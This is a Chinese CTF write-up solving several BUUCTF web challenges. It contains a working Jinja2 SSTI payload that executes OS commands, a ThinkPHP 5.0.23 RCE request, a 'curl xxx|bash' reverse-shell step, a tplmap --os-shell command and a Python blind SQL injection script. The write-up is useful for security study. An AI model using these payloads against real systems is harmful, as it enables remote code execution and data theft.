fake google
随便输入然后查看源代码发现
ssti
,应该是服务器模板注入,查了一个payload直接就可以查到flag
{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/flag').read()}}
其实详细的做法应该是先去判断漏洞点,因为这里输入就回显,而且不是php
,所以就要去猜想是不是ssti
,这里出题师傅也给出提示,就是ssti
,接下来判断是什么模板引擎
{{ }}在jinja2中为变量包裹标识符,试一下{{config}}发现有回显,判断是jinja2模板
接下来看一下根目录
{% for c in [].__class__.__base__.__subclasses__() %}
{%if%20c.__name__=='catch_warnings'%27'%}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}
{%endif%}
{% endfor %}
接下来读一下flag即可
除此之外,还可以使用Tplmap
工具来做这道题
python tplmap.py -u http://8f55fac1-eb01-4ab6-898c-e9b8600cb0d8.node3.buuoj.cn//qaq?name= --os-shell
old-hack
thinphp5,百度查了一下漏洞,随便拉一个payload试试
报错发现thinkphp版本是5.0.23,直接查询对应的RCE代码
http://58d51614-57b0-4e33-90d8-1a430ed45f4b.node3.buuoj.cn/index.php?s=captcha
POST:
_method=__construct&filter[]=system&method=get&get[]=whoami
继续读取即可
duangShell
提示了是.swp备份文件,所以是Vim文件泄露
http://0b845bf5-dd6e-420d-a3e0-0307d1ec01f3.node3.buuoj.cn/.index.php.swp
使用vim打开
vim -r index.php.swp
过滤很多,而且最后执行的函数是exec,这个函数是无回显的,所以首先想到反弹shell,使用
curl xxx|bash
触发反弹shell
看题目说明
在靶机中写入反弹shell的语句
触发反弹shell
连接成功
接下来找flag就行了,flag在etc目录下
find /etc -name flag
简单注入
先FUZZ一下,看看都过滤了哪些东西
发现单引号、双引号、=都被ban了,而且select也被ban了,这就要想其他方法了注入了,发现regexp没有被ban,可以尝试一下。
那接下来就要想怎么使用regexp注入了,假设语句是这样的
select username,password from user where username='$user' and password='$pass'
那单引号都被ban了,怎么去绕过,查看刚才FUZZ的测试,发现\
没有被ban,所以可以使用反斜线去将单引号转义,实现SQL语句逃逸,从而导致SQL注入。
select username,password from user where username='admin\' and password='or 1#'
既然知道了如果绕过了,就使用regexp布尔盲注,脚本如下:
import string
import requests
def ord2hex(string):
result = ''
for i in string:
result += hex(ord(i))
result = result.replace('0x','')
return '0x'+result
url = "http://1cad8e11-f1b7-4d3a-a16f-7341b53815bc.node3.buuoj.cn"
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36'
}
#数字+字母字典
dict = string.ascii_letters + string.digits
temp = ''
for j in range(50):
for i in dict:
passwords = ord2hex('^'+temp+i)
payload = "or password regexp binary {}#".format(passwords)
data = {
'username': 'admin\\',
'password': payload
}
reponse = requests.post(url=url,headers=headers,data=data)
# print(reponse.text)
if 'BJD needs' in reponse.text:
temp = temp + i
print(temp.ljust(40, '.'))
break
这里解释一下,之所以payload中regexp后要加binary,是因为题目提示了区分大小写
MySQL中的正则表达式匹配不区分大小写。
为区分大小写,可使用BINARY关键
还有就是之所以使用ord2hex()
这个函数,是因为我们要使用正则表达式^
去匹配密码,但单引号会被ban,所以转换成16进制,而16进制在SQL执行时会自动变成字符。
感谢Y1ng师傅的解答
假猪套天下第一
一个登陆框,使用万能密码能够登进去,但什么也没有发现,在用burp抓包的时候发现是302跳转
进入看一下
之前做过一道题也是考这种设置时间的,看到Expires
一直以为是在这里做修改,还是不熟悉这个参数的意思
Expires 表示存在时间,允许客户端在这个时间之前不去检查(发请求)
观察请求头的COOKIE中包含了time的时间戳,提示是过99年,那就将当前时间戳加99年试试
这样第一层就绕过去了,发现下面的提示是localhost,修改XFF
会发现过滤掉了这个XFF,那可以使用Client-IP
或者X-Real-IP
代替XFF即可
考察Referer,添加即可
添加之后,又出来一个Commodo 64这个,搜索一下
是一种老式电脑系统叫Commodore 64,所以这个应该是标识,修改UA即可
修改好之后,又出现一个emali,查资料发现
添加From
关键字代理,再查查资料
base64解码即可
Schrödinger
一开始一脸懵,不知道要干啥,抓包发现test.php
页面
用户名为admin,让我们去得出密码,这里一开始以为是布尔盲注或时间盲注的,FUZZ测试等都不行,就猜想可能是这个爆破密码,但也不对,回头看首页
把刚才需要输入密码的连接在首页input,爆出密码
出现这些,点一下check会失败,抓包发现有一个cookie很特别
base64解码是一串数字1585230828
,应该是时间戳,在线转换下
确实是,然后又就以为是又要去查找这两个参数
结果没弄出来,就看了师傅的WP,发现把这个COOKIE置空再检查即可
B站查AV号,后面的也是时间戳,查对应的时间即可查出flag